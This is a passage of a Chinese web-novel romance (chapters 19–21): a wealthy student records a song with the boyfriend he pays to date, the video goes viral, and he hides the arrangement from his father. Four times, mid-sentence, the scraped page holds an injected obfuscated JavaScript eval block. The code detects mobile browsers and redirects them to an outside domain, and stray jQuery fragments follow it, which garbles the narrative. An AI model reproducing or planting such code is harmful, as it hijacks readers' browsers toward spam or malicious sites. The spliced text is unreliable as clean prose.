从远处看,纤细单薄的少年被数个高大的青年包围在其中,几乎搂在怀里。 白宇轩终于找到了与陶真说话的机会,侧过身,半依偎在他身上,努力睁开双眼,语气低低的:“陶真,我…我有个事情还没来得及告诉你。” 陶真有点艰难地架着他和阿雄,疑惑地抬起头。 “就是,你去卫生间的时候,有个人给你打电话。我以为是我的手机,所以不小心接了起来。他后来又问你在哪里,我就说了……” 陶真一愣,一边听着,一边从口袋里摸索出手机,点开了通话记录。 二十五分钟前,祝闻声来电,通话两分钟。 一阵冷风吹过。 白宇轩忽然觉得自己清醒了不少,有些忐忑地问:“所以,那个男人,跟你是什么关系?” 陶真的心咯噔一跳,正要仰头看向白宇轩时,忽然感觉到余光一暗,与此同时,架在他脖颈和肩膀上的重量消失。 一个高挑而俊美的黑发少年面色难辨喜怒,居高临下地盯着二人。 祝闻声看起来好像有点生气的样子…… 这个念头在脑海中一闪而过,陶真懵了一瞬,下一秒就被猛地握住了手腕,扯到了祝闻声的身后。 “……哎!” 白宇轩睁大了眼,强撑起精神冲了过来,死死地抓住黑发少年的胳膊,“谁?你是谁啊!快点松手啊!” 祝闻声不为所动,只是顺着那点微不足道的可怜拉力往上看,入眼的是一个戴着眼镜的斯文青年。巧的是,声音跟电话里的那个人一样。 他冷冷地掀起眼睫,脸上有些意味不明的神色,慢条斯理地重复了一遍:“我是谁?” 白宇轩一愣,酒意从头顶蒸发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817476|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的少年俊美至极,声音清冷,他一下子就听出来了:“你是给陶真打电话的那个!” “你跟他之间……” 白宇轩的视线在两人之间来回打转,祝闻声也寸步不让地迎了上去。 眼看着两人越靠越近,陶真心中暗道一声不好。 他不想现在就失去白宇轩这个人还可以的朋友,却也无法忍受他对祝闻声有非分之想—— 千钧一发之际,陶真咬牙,忽然从祝闻声的身后冲了出来,挡在他跟白宇轩之间,然后踮起脚,像是只树袋熊一样挂上了祝闻声的肩膀,隔绝了两人的视线。 霎时,白宇轩瞪大了眼睛,祝闻声也沉默了。 两秒后,祝闻声反应过来,条件反射地托住了陶真的腰,将他抱得近了些,旋即才低下头,仔仔细细地将他从头到脚地检查了一遍。 从他水润的睫羽开始,掠过粉嫩的唇瓣,到白皙光洁的脖颈,最后落在系得整整齐齐的腰带上。 “陶真。” 祝闻声心头那股无名的郁火渐渐散了,取而代之的是一股难言的焦躁。 他的瞳眸色幽深漆黑,语气冰冷而危险:“还认得我是谁吗?” 陶真没第一时间说话,因为他整张脸都埋在祝闻声的胸膛里,被那柔软却结实有力的肌肉托着脸蛋,呼吸间都是少年身上浅淡的跌打损伤膏味。 刚刚那点酒根本没让他有任何醉意,可现在他却感觉有点晕了,似乎有股热流涌了出来,直直地冲上了头顶。 ……祝闻声的身材也太好了吧! “我当然认得,” 怀里满身酒气的金发少年费力地仰起了一张红扑扑的笑脸,尾音黏黏糊糊,好像在撒娇:“你是祝闻声呀。” “……” 祝闻声紧绷的唇线忽然松了下来,心中那股燥热的郁气随之消散,淡淡地扫了不远处的白宇轩一眼。 “嗯。” 后者的脸色有些微的凝滞,难以接受刚刚发生的一切,呆呆地站在原地。 恰好这时,刚刚他们在网上下订单的网约车到达了目的地,此刻正打着双闪吸引人的注意力。白宇轩缓了几秒,才用力地拍了拍脸,有点僵硬地拉着阿雄和小宋上了车。 从车窗后玻璃往外望去,可以看见一辆通体纯黑、线条极为流畅漂亮的迈巴赫在他们之后缓缓停下。 祝闻声打开车门,低声让陶真先进去,旋即才抬起头,冷冷地朝他的方向看了过来。 两人的目光在空中交汇了一瞬间。 白宇轩的酒彻底醒了。 毫无疑问地,他从祝闻声的眼里,读到了十足的敌意。 …… 几秒后,祝闻声也上了车。 他垂下头,盯着陶真被白宇轩等人反复搭过的后颈和腰侧看了几秒,悄无声息地伸出手覆盖上去,强迫症似的,试图将那些杂乱的气味驱散。 有那么一瞬间,他甚至想狠狠地亲上去,用自己的标记把陶真圈在怀里。 19.第 19 章 然而那些气味实在是太顽固,光用手无论如何也蹭不掉。 祝闻声微微皱起眉,心底有些焦躁。 陶真却在同一时间扑了过来,抱住他的胳膊,凑到耳边:“这辆车真的好帅!我之前还跟我爸聊过,我想买这个,但他只喜欢车前面带小金人标的……你从哪里搞来的这辆车呀!” 他小心翼翼地从挡板的缝隙里扫了一眼前排的司机:“现在的顺风车都这么豪华啊?” 就连迈巴赫都要跑滴滴,这年头的经济,已经下行成这个样子了? 祝闻声的呼吸微微一滞,陶真的身体极为柔软,抱住自己胳膊的时候简直就像是小动物将毛茸茸的肚皮露了出来,仿佛在主动打滚,请求人过来摸一摸。 “不是顺风车,”祝闻声手指僵硬,过了几秒才挪开,哑声说,“这就是我的车,我的司机。” 陶真忽地睁圆了眼睛。 他将前后的隔断挡板打开,确认两人说的话只有彼此能听见,才凑过去摸了摸祝闻声的额头,小小声地说:“怎么回事……喝酒的人是我,你怎么醉了呢!” “……” 祝闻声明知道自己不该抱有跟醉鬼解释清楚的心思,但还是耐心道:“真的,我没骗你。” 陶真眨眨眼,顺着祝闻声的额头往下摸他的脸颊。 哎,青少年这该死的自尊心啊。祝闻声一定是很不想在他的面前表现出很贫穷的样子,所以才会撒这种无伤大雅的小谎。 “嗯嗯,好,”他双眸亮晶晶的,浮现出几分怜惜,“我知道你没骗我呀。你一直很有出息的,这种车对你来说,简直就是不值一提……” 祝闻声沉默了,干脆低头从一侧抽出来了几张湿纸巾,整整齐齐地展开叠平,然后托住陶真的下巴,从额头开始为他一点点的擦脸。 陶真没忍住“唔”了一声,湿纸巾覆到脸上的触感冰凉,刺激得他一激灵,下意识地就想往一边躲,却被祝闻声更加大力地钳住了腰肢:“不许动。眼睛闭上。” 不知为何,祝闻声的发号施令总让人下意识地想要遵从。陶真只能皱着小脸乖乖地闭上了眼,任由他细致地擦,浅粉的唇瓣一张一合:“好吧……” “欸,”然而没安静两秒,陶真又睁开了眼,好奇地盯着祝闻声,“差点都忘了问了,你怎么想起来给我打电话的呀?” 祝闻声手上的动作一顿。 也许是因为醉了吧,陶真的状态和平常不一样,不仅脸蛋红扑扑的,水润黑亮的圆眼还在不停地眨啊眨。 祝闻声盯着看了几秒,忽然深吸了一口气,又抽了几张新的湿纸巾出来,继续擦陶真雪白的后颈: “你上次问我,什么时候有空陪你一块录视频。刚好,今天我结束训练比较早……” 陶真怔了两秒,心底忽然一动。 他没忍住嘿嘿笑起来,就着擦拭的动作,往祝闻声的手心蹭了蹭:“你还记得我跟你说过的话呀,你怎么这么好!” 祝闻声的呼吸一顿,过了两秒才淡淡道:“是吗?可你今晚这么忙,应该是没有时间录了。” “不行不行,我有时间呀,现在就可以录!” 陶真赶忙摇头,“而且我今天参加这个音乐社的活动,就是为了跟学长学姐他们找点灵感。他们给我推荐了好多首特别适合新人前期翻唱的歌曲,我都一一记下来了……” 祝闻声一边听,一边用湿纸巾细细地抹过陶真的指缝,彻底将他在酒吧中沾染到的陌生气味消除了,才慢条斯理地擦了擦自己的双手,从口袋里抽出了手机:“嗯,所以你最后选中了哪一首歌?” 陶真有点兴奋:“还是上次那位歌手的歌,风格一样。这一首也很出名,应该有很多人听过……” 俊美的黑发少年静静地坐在原地,举起镜头,半张脸沐浴在光芒中,另外半张脸又藏在深海般的黑暗里,神色莫测。 “陶真,唱给我听?” “……” 陶真的心咚咚两下,对着祝闻声的脸出神了好一会,才慢半拍地反应过来:“好……好啊!” 这是陶真真正意义上,当着别人的面唱出第一首歌。 跟上次在KTV里面的情况不一样,这会儿他和祝闻声之间的距离只剩下不到十五厘米,两人几乎紧紧地挨在一起。他甚至可以从镜头和祝闻声漆黑的双眸中,看到自己清晰的倒影。 金发少年深吸了一口气,忽然在开口的最后一刻改变了想法。 “我的宝贝宝贝,” “给你一点甜甜,” “让你今夜都好眠。” “我的小鬼小鬼,” “逗逗你的眉眼,” “让你喜欢这世界。” “……” 车辆行驶速度极快,窗外的风景被定格成一帧帧模糊的画片,昏黄的路灯光芒一闪一闪地扫进车内,将两人的距离无限拉近。 陶真用那双亮晶晶的眼睛望着镜头,向来清朗的声音,此刻却多了几分低哑和柔软,仿佛在轻声说着最动听的情话。 “哇啦啦啦啦我的宝贝,” “倦的时候有个人陪。” “哎呀呀呀呀我的宝贝,” “要你知道你最美。” “……” 这首歌只有短短两分钟,不一会就唱到了最后。 祝闻声从陶真开口的第一句就怔住了,好半晌才如梦初醒,很慢很慢地眨了下眼。 而在他摁下结束键之前,陶真笑盈盈地弯起眼,飞快地冲着镜头的方向“mua”了一下。 少年乌溜溜的双眸晕着水光。 浅粉晶莹的唇瓣微微嘟起,仿佛一根羽毛勾在人的心上。 祝闻声的心脏猝然收缩,死死地抓住了一边的扶手,这才收起手机,压下了心中海浪般的情绪。 “好听吗?”忽然,陶真往他的方向凑了过来,弯着眉眼,有些不好意思又有些好奇,“我小时候听我妈妈给我唱过这首歌,也不知道为什么,刚刚突然就想起来它了……” 祝闻声的呼吸依然急促,将手机翻了过来,哑声说:“好听。” 陶真惊喜:“真的吗?” 祝闻声垂下眼,攥住手机的手用了几分力气:“真的。” 不管上次还是这次,陶真都唱的很好,没有任何的停顿和卡壳,无论技巧还是感情都极为丰沛。 他像是一只站在悬崖峭壁顶的雄鹰雏鸟,拥有足够翱翔天空的双翼,只需要一阵东风就能扶摇直上。 “真的很好。” 陶真心满意足地弯起了眼,扯着祝闻声的手臂晃了晃,让他记得把视频发给自己。 刚好这时车辆在单元楼下停好,他便跳下车,笑着跟祝闻声挥了挥手:“再见!” 祝闻声却没说话。 他目送着陶真上了楼,看见楼道灯光亮起,仍安静地坐在原地,手里攥着手机。 过了许久,揣摩不准他用意的司机终于按捺不住,小心翼翼地降下挡板,想要低声询问是否要启动车辆。 然而司机还没来得及开口,就从后视镜中看见了令人极为惊诧的一幕。 一向冷淡而漠然的祝闻声,此刻竟然神色温柔地低着头,唇角微微勾起,反复地拉着手机视频最后的进度条。 ——金发少年弯着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827969|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,软着嗓子,甜甜地冲镜头“mua”了一下又一下。 - 晚上喝了酒,对第二天到底还是会有些影响的。 旁人宿醉的反应大多是头痛欲裂,然而陶真的反应却是不停的上厕所。尤其是可乐桶喝多后,他更是一整晚都没怎么睡好。就连祝闻声没给他发视频,他都忘了再要。 上午上课时,他向来雪白的眼下多了两抹青黑,让同为熊猫的贾嘉打趣了一番。 大课很水,他们两人无聊地在桌上趴了一会儿,玩了会儿游戏,好不容易才熬到十一点二十五,出门时,竟然又在门口碰见了白宇轩。 “诶,白部长,”贾嘉笑道,“您今天怎么又过来了?” “啊,贾嘉你好,”白宇轩揉了揉发胀的眼眶,也回了一个笑,“我是来找陶真的,想跟他说个事。” 贾嘉没多想,只以为他们要聊有关唱歌视频的事,便笑着冲二人挥了挥手先走了。 陶真却盯着白宇轩看了几秒,心中有些许复杂的意味。 他他他、他不会是昨天晚上看见了祝闻声,还不死心吧?! 果然,白宇轩开口了:“陶真,关于昨天晚上那件事,以及来接你的那个人……” 来了来了! 陶真瞬间认真起来:“——他是我男朋友!” “白部长,我真心谢谢你之前帮我跟柳部长说话,”他认真地说,“但是,我们俩已经在一起了,我不能再把他的联系方式给你……” 白宇轩差点呛死,刹那间明白了陶真的意思,赶忙摇手否认:“不不不!我不是那个意思,我对他没有任何兴趣!” “我过来,主要是想跟你和你对象道歉的。昨天我的行为实在是不好,先是不小心接了你的电话,后来又忘了告诉你这件事,甚至还当着你对象的面,对你…呃…动手动脚的……” 白宇轩有些忐忑:“我怕,你们会生我气。” 陶真睁大眼,有点不好意思地挠了挠脸颊,原来白宇轩是来道歉的,他还以为…… 好吧,是他以小人之心度君子之腹了。 “没事,我和他都没生气,你也别把这件事放在心上了。” 白宇轩这才松了一口气,都是大学生,成年人了,明白交友和结仇孰好孰坏。 更何况,无论是家底雄厚的陶真,还是昨晚举手投足之间皆是贵气的祝闻声,都是他不想得罪的人。 “行,那我也就不打扰你了。” 白宇轩笑了笑,忍不住跟他开玩笑,“下次有空的话,再让我见识一下那辆帅爆了的迈巴赫吧?” “我记得这车又贵又限量,能开上简直太有实力了。” 等等,那辆迈巴赫? 陶真忍不住笑起来:“哎,你说那个啊。那辆车不是我对象的,也不是我的。应该是他昨天打车的时候,打到了一辆豪华专车。” 白宇轩一怔,也乐了:“什么,打车打到的?” “我没有别的意思啊,但这确实不太可能,这种车的主人是不会愿意把车拿出去跑顺风的。就连司机违规擅自接单的可能性都很小。除了车主本人以外,最大的可能性就是车主朋友在使用……” 他似乎对这一行挺有了解,细细地为陶真讲了一番,最后才意犹未尽地总结:“不管怎么说,能坐这车的,都不是什么普通人呢。” 陶真听得一愣一愣的,直到白宇轩笑着挥手离开了才回过神,下意识地给祝闻声打了个电话过去。 “嘟嘟”的等待声响起时,脑海中情不自禁地浮现了昨晚祝闻声淡淡重复的那些话。 难道……祝闻声真的一点都不穷? 20.第 20 章 ……也不可能啊。 “祝闻声有钱”的念头刚刚才在脑海中出现了一秒,就被陶真火速否决了。 如果祝闻声真的是一个吃喝不愁、开迈巴赫的公子哥富少,又为什么要答应自己的包.养请求,并且吃自己提供的这一口半生不熟的软饭? 再说了,哪个富少会在大夏天舍不得坐公交车、连一件有牌子的衣服都不穿、手机屏碎了也想不起来换,还吃不下一千多块钱一位的Omakase的? 当然,那家Omakase的确吃不下就是了…… 陶真脑袋里乱七八糟的,情不自禁地攥住自己的衣角扣弄了一会,下一刻却听“嘟嘟”声戛然而止,取而代之的是少年清冷而微哑的声音:“陶真,下课了?” 他一个激灵回过神,脑海里的杂念犹如炭火被海浪浇熄:“唔,对,下课了,刚打算去吃饭……你呢,要不要跟我一起呀?” “不了,我今天上午满课,十二点零五才结束,”祝闻声放轻了些声音,依稀听得出温和,“你先去吃吧。” 陶真一愣,下意识地看了一眼手机左上角,现在才十一点三十八分,显然还是上课时间:“那你现在……” 祝闻声淡淡道:“看见是你给我打电话,就从班里后门出来了。” “……” 陶真脑袋有些热,猛地蹲了下来,讷讷地扣住了自己的衣角:“哦……” 他们的恋爱合约里,似乎并没有接电话要随叫随到这一条。所以,这算是祝闻声在撩他吗? 如果祝闻声真的是个富少,那他能做到这一步,脾气未免也太好了。 “那,那你等下就回去上课吧,别耽误学习,”陶真的大脑有一瞬间的宕机,把衣角揪得变了形,“你要是有空的话,就顺便把昨天拍的视频发给我,我今天找个时间发到网站上去……” 祝闻声垂下眸,下意识地想到了少年那一个甜得像蜜一样的飞吻,喉结不自觉地滚了滚:“好。还有什么别的事么?” 陶真有点犹豫,捂住滚烫的耳朵尖,感觉到那里的温度渐渐地降了下来。 “是这样的,刚刚下课的时候,我又跟那个白宇轩学长聊了一会,他跟我说了,像迈巴赫这样的豪车,不太可能会被人拿出来跑顺风。所以,有关昨天你说,那辆车是你的这件事……” 祝闻声一顿,微微站直了身子,将听筒拿得更近了一些:“嗯?” 陶真深吸一口气:“我知道,你肯定特别喜欢这辆车,所以才会从朋友那里借来,想要体验一下拥有的感觉。” “很抱歉,我现在还没有本事买得起这么贵的限量款,但我会努力唱歌赚钱,等我攒到了,一定立刻就给你买,让你也有,好不好?” 祝闻声抿紧唇,只能听见自己的心脏“咚”地一声,耳畔嗡鸣眩晕,仿佛被什么东西给击中了。 陶真对他先入为主,所以理解频出偏差,本该是一件令人觉得好笑的事,可他此刻却只觉得喉间干渴,仿佛有什么东西一直在烧心。 明明他自己就有,明明他自己就买得起,明明拥有这辆车的体验也就仅此而已……但是,想象着电话的另一头,小男友用乌溜溜的双眼,可怜巴巴地说着自己要努力挣钱给他买车时,他竟有种前所未有的期待。 突然有点怀疑,执着于向陶真证明自己有钱,到底是不是正确的? 当陶真眼里的穷学生,似乎没什么不好的。 反而,会得到少年滚烫而柔软的真心。 教学楼内各处人声鼎沸,学生人来人往,不远处的教室里更是时不时传来老师高亢激昂的讲解。 唯有听筒两侧安静如初,只听得见彼此的呼吸声。祝闻声安静了好几秒,低低唤了一句:“陶真。” 诡异的情绪涌上了心头,一瞬间占了上风。 “嗯,”陶真笑眯眯地说,“怎么啦?” 少年的尾音活泼又柔软,好像一骨碌翻过身,用毛茸茸的肚皮对着人的小动物。 ——那颗雏鸟般温热跳动的心脏,隔着仿佛透明的胸腔,大方地坦露了出来,一颤一颤。 祝闻声用力地闭了闭眼,在话即将涌到喉咙时,忽然改了口:“……我等你。” 陶真怔了两秒,兴高采烈地笑了:“好呀!” …… 挂断电话后没过多久,祝闻声便把唱歌的视频发了过来。 陶真这会刚走到食堂打饭,他一边端着盘子往空桌子走,一边保存视频,想跟上次一样传到视频网站里。 然而奇怪的是,这次的画质比起上次压缩了许多,几乎糊成了一团。他不明所以地研究了半天才发现,祝闻声发来的版本不是原图,而是把视频最后的那一个“mua”不小心裁剪掉的版本。 陶真无法,放下餐盘后,又跟祝闻声要了一遍原图。 那头大概是被他麻烦到了,沉默了半晌,才将那个视频完好无损地发了出来。 陶真松了口气,一边吃饭,一边点开后台上传视频。 进度条缓缓加载,屏幕上弹出了【上传成功】的字样。 与此同时,他六万多粉丝的首页也弹出了一条系统通知: 【您关注的主播[真知棒]发布新视频啦,快来看看吧~】 原本不少正在百无聊赖刷视频的人眼睛一亮,立刻点了进去。 略显昏暗的车厢内,金发少年弯着眼看向镜头,露出一颗俏皮的小虎牙。他那张漂亮的小脸恍若静心雕琢过,每一寸都恰到好处,车窗外忽明忽暗的光芒为他渡上了一层朦胧的光晕。 在短暂的两秒安静、吸引了所有人的视线后,他清唱开口。一句又一句清朗而温柔的“宝贝”听得令人脑袋发晕,只会直直地愣在原地,仿佛依偎在他的身边慢慢睡去。 一首短暂的歌很快就来到最后一句,正在众人都意犹未尽的时候,少年忽地笑起来,浅粉的唇瓣微微凑近镜头,落下一个又轻又甜的飞吻。 “mua——” 众人呆住了。 十分钟后,他们活生生地将这条刚发布没多久的视频点到了大几千赞,化身尖叫鸡一般疯狂地@亲友。 【冰淇淋红茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834544|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' yyds:卧!!槽!!!老!!公!!最后那个mua啊啊啊啊!!awsl!!】 【你有事吗我有乐事:姐妹你过来,我没跟你开玩笑,这个我是真喜欢,十分钟之内把他的联系方式给我发过来!!】 【麦当劳好吃:我要晕了我要晕了我要晕了,博主怎么跟他的名字一样啊啊啊,太适合唱这种歌了吧!】 【……】 诸如此类的评论数不胜数,跟上次视频底下的差不多。 陶真刚吃完饭就迫不及待地抱着手机看了一会,努力以点赞的方式向每个夸过他的人道谢,手指一路往下点,忽然在一条讨论点很奇怪的高赞评论楼停下了。 【专业磕学家:其实我上次就想问了,给博主拍视频的这个人是谁呀?感觉他拍的好好啊!不仅仅是构图和设计好,最重要的是拍的很温柔专注,有人懂我吗?】 【回复:!!楼主我懂!“爱你的人会把你拍的很好看”这个意思是不是!而且今天的这首《宝贝》,感觉博主就是对着他唱的,我都要被甜死了,摄影师还能顶得住吗!他怎么舍得把最后那个mua发出来让大家欣赏的?!】 陶真一怔,没忍住笑了一下,根本没将这栋评论放在心上。 祝闻声的确人很好,而且很温柔专注,可他是个钢铁直男啊,有什么舍不得把“mua”发出来给大家看的? 陶真揉了揉脸,下意识地想滑过这条评论,却更清晰地看清楚了楼主的新回复。 【回复:你们怎么确定是“他”不是“她”?】 【专业磕学家:很简单呀,你们把视频声音放到最大,到最后博主“mua”那一块,能听见了另外一个男人有点压抑忍耐的呼吸声,很明显的!】 【专业磕学家:不仅如此,再把视频放大到1:32秒的时候,能清楚地看见摄影师的另外一只手,就放在博主旁边,woc青筋贼明显,宽大到感觉能把博主手整个包进去。】 【专业磕学家:嘿嘿,我觉得再听博主唱两首歌,摄影师的魂都要没了。】 【回复:卧槽。】 【回复:卧槽!楼主说的是真的!】 陶真惊呆了,顺着这个人的评论重新看了一遍,果然分毫不差地发现了这位“专业磕学家”说的细节,抱着手机在原地懵了两秒。 这条评论发的早,而且条条细节有道理,不一会就已经吸引了一大波点赞,被送上了评论区的顶端。在视频的热度极速飙升的同时,越来越多的人关注到了他和祝闻声的关系,而且还有人问他跟这位“摄影师”到底是不是一对的。 现在的这个互联网……能人异士真是太多了吧? 犹豫了好一会,陶真还是在某条询问关系的评论下点了赞,回复了一个捂脸的小猴子表情包。 哎,虽然看这些评论很开心,可祝闻声根本不会像大家说的那样对他有感觉吧? 上次亲下巴,祝闻声就接受不了。 而且每次被他碰的时候,祝闻声的呼吸都会变得有些急促,感觉还在努力克制自己直男的本能呢! 21.第 21 章 上课铃声响起,陶真用力地拍了拍脸,收回思绪,到教室座位上坐下。 这节小课不是很水,期末考试的要求特别复杂,所以他听得很认真,直到结束才想起来掏手机。 他本来想要点开视频的评论区看一会,却见手机忽然猛地震动起来,陶大俊给他打来了个电话。 陶真没多想,秒接起来:“喂,爸……” “儿子啊!你是不是有事情瞒着爸爸!” 陶大俊的声音气势汹汹的,像头熊瞎子一样在办公室里乱转,“你新发的那条视频底下,那群人怎么都在说你和那个给你拍视频的摄像师谈恋爱了?” “你还给他们的评论点了赞!” 陶真心里咯噔一下,他怎么忘了这茬! 他并不习惯撒谎,却又不能和陶大俊坦白,半晌才硬着头皮道:“爸,那什么…其实我…我就是,开个玩笑……” 陶大俊:“撒谎!” 陶真被这一吼吼得极为心虚,半晌才僵着脑袋,蔫巴巴地承认:“……好吧,我确实谈恋爱了。” 空气沉寂了几秒。 陶真情不自禁地闭上了眼睛,等待即将到来的疾风骤雨。 “……你是不是因为对象是男的,所以才不敢跟爸爸说啊?” 陶大俊慢慢叹了一口气,半晌才从鼻腔里“哼”了一声:“男的就男的呗,你爸又不是老古董。我儿子一表人才、人中龙凤的,男女通吃不是正常的么?” “管你谈男的还是女的,爸爸都支持你!” 陶真睁开眼,神色有些惊喜:“爸!” “想不到吧,爸爸不反对你谈恋爱,”陶大俊得意洋洋地说,“我只是好奇而已,你那个小对象多大了?长得怎么样,有没有照片能发给我看一下?他是干什么的?” 陶真嘿嘿笑了,一条条回答:“他比我大一岁,没拍照片,但是他长得特别帅。至于干什么……”陶真犹豫了一秒,含糊道:“他、他是个打拳的。” “打拳?!” 陶大俊的尾音扬起,显然也是想到了那句富不学拳击的话,“什么样的拳,不会是以前那种地下.黑.拳吧?!” 陶真心猛地一紧,冷汗直冒,面上却还装的若无其事:“哈哈哈哈,爸,怎么可能呢?现在都什么年代了,哪里还有那种黑.拳……” 陶大俊半信半疑:“真的?” “那你把他们拳馆的资质证明和照片都发过来给我看看!” “……” 陶真硬着头皮:“爸,你讲点道理,我现在在学校上课呢,上哪儿给你拍呀?等我回头去找他的时候顺便发给你,成不?” 陶大俊哼了一声,勉强算是答应。又叮嘱了陶真一番在外要多多注意安全、多交朋友,才挂断电话。 陶真松了一口气,心底涌出些许劫后余生的喜悦,下一刻就听叮咚一声,手机最上方跳出来了一条短信,他顺手点了进去。 【您尾号*6886的账户于9月22日15:38分转账存入人民币200,000.00元,可用余额为1,392,346.71元。】 陶真一怔,与此同时,看见了他爸最新发来的一条微信: 【爹地(大俊):儿子啊,恋爱经费!不够了再跟爸爸要,昂!】 【爹地(大俊):恋爱要好好谈,不要辜负人家,要爱护彼此,才能走的长远!】 陶真心头一暖,与此同时,忽然生出些许隐隐约约的愧疚和恐慌来。 他爸不仅支持他谈恋爱,还不阻止他喜欢男人,已经开明到了极点。 可如果他爸知道,他和祝闻声的恋爱关系,其实是建立在金钱的基础上呢……? 陶真垂下眸,用力地攥住了衣角。 包.养这件事,恐怕还得瞒着陶大俊先生。 - 接下来的两天,陶真为这件事花费了不少心血。 他费劲吧啦地编了一堆跟祝闻声“相遇相知相守”的细节,差点把自己编得都信了,才让陶大俊满意。 但陶大俊心里始终对“祝闻声是打拳的”这件事不太放心,反复要求陶真把拳馆的资质证明以及周边环境都发给他看。 陶真焦头烂额,根本不知道自己能上哪儿去找这些东西,走投无路之下,忽然想起白宇轩之前说过自己喜欢打拳。 他眼睛一亮,给白宇轩发了个大红包过去,拜托他有空的时候带自己去趟拳馆见识一下。 白宇轩一口就答应了,拍着胸脯向陶真保证,带他去的一定是整个南城最好的俱乐部,不说别的,一定正规。 陶真便放下了心,与其约定好,周日上午一块出发。 结果周六晚上时,他忽然接到了祝闻声打来的电话。 “这次视频的点赞已经超过一百五十万了,还在不停地涨,应该会比上次的数据更好,”向来冷清且淡然的少年唇边弧度温柔,“要不要明天出来,乘胜追击,开始新的录制?” 陶真一骨碌从床上翻了起来,他这两天一直在忙着跟陶大俊聊天,甚至都没有心思像原先那样关注视频,这会心头一动。 “好!好、好像不行……” 难得祝闻声主动约他,他却得跟白宇轩一块去俱乐部……陶真挠了挠自己乱得像鸟窝一样的金发,憋了几秒,臊眉耷眼地拒绝了: “这个视频才发出去两天,让它再涨一涨吧,先不着急……而且我还没想好下次要唱什么歌……” 祝闻声那头安静了几秒,也没再强求:“嗯,好。” “那要出来吃饭吗?上次还是你请客,这次该轮到我了。” 陶真一怔,简直心动得要命,动摇了好半天,最终还是忍住了放白宇轩鸽子的冲动: “算了吧,下次我们再一块出来吃。我明天可能有点事要做……” 电话那头沉默了一会,才传来少年清冷而低哑的声音:“嗯,知道了。” “你忙就好,等有空的时候再找我。” “……” “嘟嘟”两声,电话挂断。 陶真盯着挂断后的屏幕看了几秒,突然没忍住用力给了枕头一拳,在床上打了好几个滚。 …… 翌日上午,陶真来到了和白宇轩约好的目的地。 盯着那极其恢弘大气的俱乐部外观看了一会,他心中的不愉快一扫而空,后退两步拍了张照片。 “L、I、G、H、T……” 好熟悉的名字。 “Light俱乐部。” 白宇轩走到他身侧,笑着为他介绍:“整个南城规模最大、最牛逼的一处。怎么样,我没骗你吧?” 陶真放下手机冲他比了个大拇指,有些惊叹:“没有。” 白宇轩露出个自豪的神色:“走吧,进去看看!” 二人绕过前台,一路往里,边走边看。 两侧的训练基地规模巨大,各种设施极为齐全,不少人都在教练的指导下挥汗如雨,神态专注。 陶真看的眼花缭乱,最终却被走廊最深处的一道纯黑色的大门吸引住了。那道门厚重严实,格外神秘。甚至还有个人特意看着。 “那是什么地方?” “哦,Light俱乐部分成两部分,除了外面这些普通会员,还有里面的专业人士,这道门就是用来分割的,一般来说不允许轻易跨过。” 白宇轩有些紧张地拍了下陶真的肩膀,示意他跟在自己身后,这才走到看门人跟前,清了清嗓子: “你好,我们是大海的朋友,我们昨天跟他说过今天想来参观一下。” 看门人顿了顿,仔细地看过手中的登记表,才点了点头。 白宇轩如释重负地道完谢,立刻拉着陶真闪身进了门。 门内外的风景截然不同,纯黑色的装修占据了众人视线,压抑的同时隐隐激发起骨子里的狂躁和兴奋。 所有在场训练的选手都严肃认真,动作比外面的人凶狠无数倍,加的重量也十分骇人。 白宇轩在人群中寻觅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841086|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,远远地冲他的朋友大海挥了挥手,才喊了一声名字,就被不远处冷着脸的教练喝止了。 “你们是来干什么的!” 教练大跨步地向二人走来,冷冷地扫视了一眼白宇轩,又劈手夺下陶真的手机删除了那段视频:“我们这里不允许拍照!” 陶真匆忙接住自己的手机,跟白宇轩一块弯腰道歉:“不好意思不好意思,我们不知道……” 教练横了他们一眼,转身时刚好对上了从不远处跑来的大海,又逮着他狠狠地训斥了几句,硬生生地将一个满身肌肉的黑皮青年说的跟孙子一样点头哈腰。 一直等到教练彻底走远了,大海才小心翼翼地松了口气,苦着脸向他们走来: 